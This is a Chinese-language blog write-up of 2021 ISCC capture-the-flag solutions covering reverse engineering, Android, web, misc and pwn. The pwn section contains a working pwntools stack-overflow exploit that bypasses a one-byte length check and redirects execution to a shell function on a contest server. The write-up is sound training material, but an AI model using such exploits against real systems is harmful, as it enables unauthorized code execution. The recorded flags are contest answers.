【wp】2021ISCC
ISCC的wp,没想着打这比赛,就是单纯来看看题嘿嘿 ??
后面太忙就没怎么看了,下了题目有空回来做一下。老规矩,标了TO DO的是还没写完的(。
REVERSE
[练武题 50pt] Garden
拿上手还以为有pyc混淆,结果一uncompyle6居然没报错,好吧应该是签到题了。
反编译出的源码:
# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.17 (default, Sep 30 2020, 13:38:04)
# [GCC 7.5.0]
# Embedded file name: garden.py
# Compiled at: 2021-02-28 12:29:29
import platform, sys, marshal, types
def check(s):
f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
if len(s) != len(f):
return False
checksum = 0
for a, b in zip(f, s):
checksum += ord(b) ^ ord(a) ^ 123
return checksum == 0
if sys.version_info.major != 2 or sys.version_info.minor != 7:
sys.exit('\xe8\xaf\x95\xe8\xaf\x95 Python 2.7.')
if len(sys.argv) != 2:
sys.exit('usage: bronze.pyc ')
flag = sys.argv[1]
if len(flag) >= 32:
print '\xe5\xa4\xaa\xe9\x95\xbf\xe4\xba\x86.'
sys.exit(1)
alphabet = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+')
for ch in flag:
if ch not in alphabet:
print '\xe4\xb8\x8d\xe5\xaf\xb9.'
sys.exit(1)
if check(flag):
print '\xe5\xb0\xb1\xe6\x98\xaf\xe8\xbf\x99\xe4\xb8\xaa!'
sys.exit(0)
else:
print '\xe6\x90\x9e\xe9\x94\x99\xe4\xba\x86.'
sys.exit(1)
# okay decompiling garden.pyc
既然是签到题那可以大胆地猜测每一个ord(b) ^ ord(a) ^ 123都等于0(即checksum一直不变),也就是说ord(b)=ord(a)^123
,直接写exp:
s='2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
flag=''
for c in s:
flag+=chr(ord(c)^123)
print(flag)
拿到flag:ISCC{Makka2021Pakka}
TO DO [练武题 350pt] 无法注册的程序
这道题感觉是去年XNUCA初赛的MFC原题unravelmfc(wp可见2020XNUCA Reverse 部分Writeup | feng's blog)= =当时第一次接触MFC逆向还是挺印象深刻的。
(回头复现一下
[擂台题 150pt] 汇编大人,时代变了
感觉是送分题?flag不难拿,但是最后有个点感觉一直很奇怪ummm
.ll
后缀的文件查了一下是LLVM指令集,可以见LLVM IR / LLVM指令集入门_Canliture-CSDN博客,但是在决定死磕手动反编译之前还是得挣扎一下看有没有工具能直接反编译。
经过不懈搜索看到了c++ - llvm ir back to human-readable source language? - Stack Overflow,但安装完llvm以后才知道llc的-march=c
参数在2016年就已经被remove了()
然后看到了这个0.LLVM安装及工具链 | 胡君的个人博客,发现了另外一条路:
逆向分析elf,这不就是re手的日常吗?果断下手。
先通过sudo apt install llvm clang
把LLVM的套件装上,然后依次输入:
llc task.ll -o task.s
gcc -c task.s -o task.o
gcc task.o -o task
但是走最后一步会报错:
估计是缺什么库吧,懒得装了,直接用ida分析task.o
(反正分析效果差不多
可以看到主函数逻辑挺明显的了,把printf的两个数组转string以后就更明显:
检查长度对了以后走红色框或者蓝色框的逻辑,最后输出s。
红色框部分涉及到的数组都是已知数组,可以很轻松地算出s,这种套路一看就是fake flag(还去算了一下
所以就是要过check,进而走到蓝色部分才能拿到真flag。
check部分:
也就是说要让s[i]^s[(i+1)%strlen(what)]==what[i]
,而strlen(what)==56
。
列举出来大概是
s[0]^s[1]==what[0]
s[1]^s[2]==what[1]
...
s[54]^s[55]==what[54]
s[55]^s[0]==what[55]
好了,疑惑点就来了,如果把左边的都xor起来,然后右边也全xor,理论上说两边应该是相等的,即s[0]^s[1]^s[1]^s[2]^...^s[54]^s[55]^s[55]^s[0]==what[0]^what[1]^...^what[54]^what[55]
,而左边因为每一项都出现了两次所以最后结果必然是0,但是右边算了一下并不会等于0:
就很离谱(……)
所以干脆直接爆破,遍历256次找都是可见字符的flag:
secret=[0x42, 0x0A, 0x7C, 0x5F, 0x22, 0x06, 0x1B, 0x67, 0x37, 0x23, 0x5C, 0x46, 0x0A, 0x29, 0x09, 0x30, 0x51, 0x38, 0x5F, 0x7B, 0x59, 0x13, 0x18, 0x0D, 0x50]
flag=[0x1D, 0x55, 0x23, 0x68, 0x4A, 0x37, 0x2E, 0x38, 0x06, 0x16, 0x03, 0x72, 0x55, 0x4F, 0x3D, 0x5B, 0x62, 0x67, 0x39, 0x4A, 0x6D, 0x74, 0x47, 0x74, 0x60, 0x37, 0x55, 0x0B, 0x6E, 0x4E, 0x6A, 0x44, 0x01, 0x03, 0x12, 0x30, 0x19, 0x3B, 0x4F, 0x56, 0x49, 0x61, 0x4D, 0x00, 0x08, 0x2C, 0x71, 0x75, 0x3C, 0x67, 0x1D, 0x3B, 0x4B, 0x00, 0x7D, 0x59]
what=[0x64, 0x4E, 0x6C, 0x2E, 0x1E, 0x36, 0x38, 0x04, 0x44, 0x12, 0x1C, 0x24, 0x5C, 0x59, 0x3D, 0x0B, 0x5A, 0x78, 0x08, 0x09, 0x76, 0x70, 0x79, 0x33, 0x13, 0x16, 0x20, 0x7E, 0x6B, 0x23, 0x36, 0x45, 0x07, 0x11, 0x2C, 0x22, 0x4A, 0x4A, 0x4F, 0x2E, 0x48, 0x4C, 0x7C, 0x3E, 0x11, 0x0F, 0x6A, 0x18, 0x37, 0x42, 0x1E, 0x2B, 0x12, 0x03, 0x5A, 0x47]
###### fake flag
# ans=''
# for i in range(len(what)):
# ans+=chr(flag[i]^secret[i%len(secret)])
# print(ans)
for x in range(256):
ans=[x]
for i in range(1,len(what)):
ans.append(ans[i-1]^what[i-1])
for i in range(len(ans)):
ans[i]^=secret[i%len(secret)]
if ans[i] not in range(32,127): # 可见字符范围
break
else:
myFlag=''.join(map(chr,ans))
print("ISCC{"+myFlag+"}")
可以看到:
这就是我们的flag:ISCC{mAy6e_t0d4Y_7H15_ls_tH3_10n8est_f14g_Y0_HaD_Ev3R_5e3n_!_}
[擂台题 150pt] Greedy Snake
拖入ida发现报错The imports segment seems to be destroyed. This MAY mean that the file was packed or otherwise modified in order to make it more difficult to analyze. If you want to see the imports segment in the original form, please reload it with the 'make imports section' checkbox cleared.
。
猜测有壳,用ExEinfoPE一查果然有upx壳
然鹅并不能一键脱,报错CantUnpackException: file is modified/hacked/protected; take care!!!
,应该是文件加壳后又加了混淆,搜到了这一篇:UPX防脱壳机脱壳、去除特征码、添加花指令小探 - 『脱壳破解区』 - 吾爱破解。
查看程序的区段名发现果然有改:
用010Editor改区段名:
除此之外还有这里被魔改的UPX!
:
改完这两个地方终于可以脱壳了(upx -d
):
用ida看脱壳后的程序:
主函数有puts,直接查看交叉引用,能看到flag_check()
函数:
这就是出flag的地方,可以说逻辑非常明显了,base64甚至没有换表,xor处理部分根据xor的特性把加密流程重新走一遍就好。
写exp:
import base64
res="QFpKSnJWXFlRKFY8PFY8OVY8MVY9Z21WSz08bCJROVt0"
b64res=base64.b64decode(res).decode()
l=list(map(ord,b64res))
for i in range(1,11):
for j in range(len(l)):
if len(l)%i!=0:
l[j]^=i
else:
l[j]^j
flag=''.join(map(chr,l))
print(flag)
flag:ISCC{_UPX!_55_50_58_4nd_B45e+X0R}
MOBILE
[练武题 100pt] Mobile Easy
一个java层的apk题,甚至不用看so,用JEB反编译可以看到关键check函数是getflag()
蓝框就是我们需要到达的地方
所以flag经过first.firstStr()
处理后的形式是ISCC{xxxxxxxxxxyyyyyyyy}
。
xxxxxxxxxx
经过second.secondStr()
的check,yyyyyyyy
则经过third.thirdStr()
的check。
先看second.secondStr()
,可以看到是一个ECB模式的AES,密文是b64decode("9z2ukkD3Ztxhj+t/S1x1Eg==")
,密钥是b'1234567890123456'
。
至于是加密还是解密,可以看到v7.init(2, ((Key)v6))
,而查常量有:
所以这里是AES解密,就得到了前半部分的处理后字符串,注意最后要将空格替换掉。
再看third.thirdStr(v2_1)
:
public static boolean thirdStr(String arg14) {
int v1 = 8;
if(arg14.length() != v1) {
return 0;
}
int v0 = arg14.charAt(0);
int v4 = arg14.charAt(1);
int v5 = arg14.charAt(2);
int v6 = arg14.charAt(3);
int v7 = 4;
int v8 = arg14.charAt(v7);
int v9 = arg14.charAt(5);
int v10 = arg14.charAt(6);
int v12 = arg14.charAt(7);
if(v0 % 8 == 7) {
if(v0 % 9 != v1) {
}
else {
int v11 = 100;
if(v4 - 3 != v11) {
return 0;
}
else if((v5 ^ 93) != v11) {
return 0;
}
else if(v5 * 2 - 10 != v6) {
return 0;
}
else if(v8 + 1 != 120) {
return 0;
}
else if((v9 ^ v10) != 56) {
return 0;
}
else {
if(v9 - v10 == 24) {
if(v10 - v12 != v7) {
}
else if(v12 != 80) {
return 0;
}
else {
return 1;
}
}
return 0;
}
}
}
return 0;
}
也就是说arg14=''.join(map(chr,[v0,v4,v5,v6,v8,v9,v10,v12]))
可以轻松分析出:
v0 % 8 == 7
v0 % 9 == v1 #v1=8
v4 - 3 == v11 #v11=100
v5 ^ 93 == v11 #v11=100
v5 * 2 - 10 == v6
v8 + 1 == 120
(v9 ^ v10) == 56
v9 - v10 == 24
v10 - v12 == v7 #v7=4
v12 == 80
所以可以得出在可见字符范围内后半部分的值是Gg9hwlTP
(过程统一放本题最后的exp里)。
最后分析first.firstStr()
:
就是一堆replace而已,逆向的话把替换前替换后反过来就好。
所以有整道题的exp:
### 前半部分
import base64
from Crypto.Cipher import AES
key=b'1234567890123456'
aes=AES.new(key,AES.MODE_ECB)
cipher=base64.b64decode(b'9z2ukkD3Ztxhj+t/S1x1Eg==')
text=aes.decrypt(cipher)
flag1=text.decode().replace(' ','')
# print(flag1)
### 后半部分
v1=8
v11=100
v7=4
v12=80
v10=v12+v7
v9=56^v10
v8=120-1
v4=v11+3
v5=v11^93
v6=v5*2-10
for v0 in range(32,127):
if v0%8==7 and v0%9==v1:
l=[v0,v4,v5,v6,v8,v9,v10,v12]
flag2=''.join(map(chr,l))
break
# print(flag2)
### replace处理
flag="ISCC{"+flag1+flag2+"}"
flag=flag.replace("dN","B1").replace("8","_").replace("P","!").replace("hwl","rea").replace('u','1').replace("+","m")
print(flag)
flag:ISCC{m0B1lE_1s_Gg9reaT!}
WEB
[练武题 50pt] ISCC客服冲冲冲(一)
改前端代码这两个地方,让左右元素的id互换,等完20s就好:
拿到flag
flag:ISCC{1SCC_2o2l_KeFuu}
[练武题 50pt] 这是啥
F12
能看到一个display:none;
的元素,这一看就是JSFuck(
复制到控制台运行一下就好
比较坑的是这里不能直接复制交flag,flag格式是大写的ISCC(……)
即:ISCC{what_is*_jsJS&}
MISC
[练武题 50pt] Retrieve the passcode
解压得到一个压缩包和一个txt,压缩包解密要密码,所以从txt下手。
txt名字是scatter
,这个刚好跟绘制散点图的函数同名,猜测每个分号间隔的是每个点的三维坐标,然后按x:y:z
的顺序记录。
可以观察得到所有的z坐标都是1,所以可以直接不要,用python画出散点图:
import matplotlib.pyplot as plt
with open('scatter.txt','r') as f:
points=[x[:-2].replace(':',',') for x in f.read().replace('\n','').split(';')]
exec("points_list=[("+'),('.join(points)+")]")
x=[t[0] for t in points_list]
y=[t[1] for t in points_list]
plt.scatter(x,y)
plt.axis("equal")
plt.show()
由图像可以看到密码是365728
,解开rar包,看到是pdf,电脑图案这里有一堆的点横,摩斯电码既视感。
先用python解:
MorseList={
".-": "A", "-...": "B", "-.-.": "C", "-..": "D", ".": "E", "..-.": "F", "--.": "G",
"....": "H", "..": "I", ".---": "J", "-.-": "K", ".-..": "L", "--": "M", "-.": "N",
"---": "O", ".--.": "P", "--.-": "Q", ".-.": "R", "...": "S", "-": "T",
"..-": "U", "...-": "V", ".--": "W", "-..-": "X", "-.--": "Y", "--..": "Z"}
code="-.-. --- -. --. .-. .- - ..- .-.. .- - .. --- -. - .... . ..-. .-.. .- --. .. ... -.-. .... .- .-.. .-.. . -. --. . .. ... -.-. -.-. - .-- --- --.. . .-. --- - .-- --- --- -. ."
l=code.split(" ")
flag=''
for x in l:
flag+=MorseList[x]
print(flag.lower())
得到:
congratulation the flag is challenge iscc two zero two one
题目描述说是小写字符串,不包括空格,所以拿到flag:ISCC{congratulationtheflagischallengeiscctwozerotwoone}(一开始被分词坑了= =没想到一整句都是flag)
PWN
[练武题 50pt] M78
用ida打开,可以看到逻辑很简单,主要是走explore()
函数。
read这边有限定字符数没有栈溢出,但是最后return check(buf)
这里strcpy()
没有检查长度,简单栈溢出。
现在只要绕过strlen()
就可,而v3是一字节的char,可以通过截取高位溢出绕过(也就是说构造一个长度为0x100+7的字符串发送即可)。
然后翻函数表可以看到这个get shell的函数,地址是0x8049202
:
所以写exp有:
#!/usr/bin/env python
# ------ Python2 ------
from __future__ import print_function
from pwn import *
# context.log_level='debug'
# r=process("./M78")
host="39.96.88.40"
port=7010
r=remote(host,port)
r.recvuntil('?')
r.sendline('1')
r.recvuntil('building')
r.sendline('aaa') #随便填
r.recvuntil('password')
getShell_addr=0x8049202
payload='a'*0x18+'b'*4+p32(getShell_addr)
payload=payload.ljust(256+7-1,'c') #记得算上最后的换行符
r.sendline(payload)
r.interactive()
成功打通~
拿到flag:flag{N@x_addr_*EnaBleD%}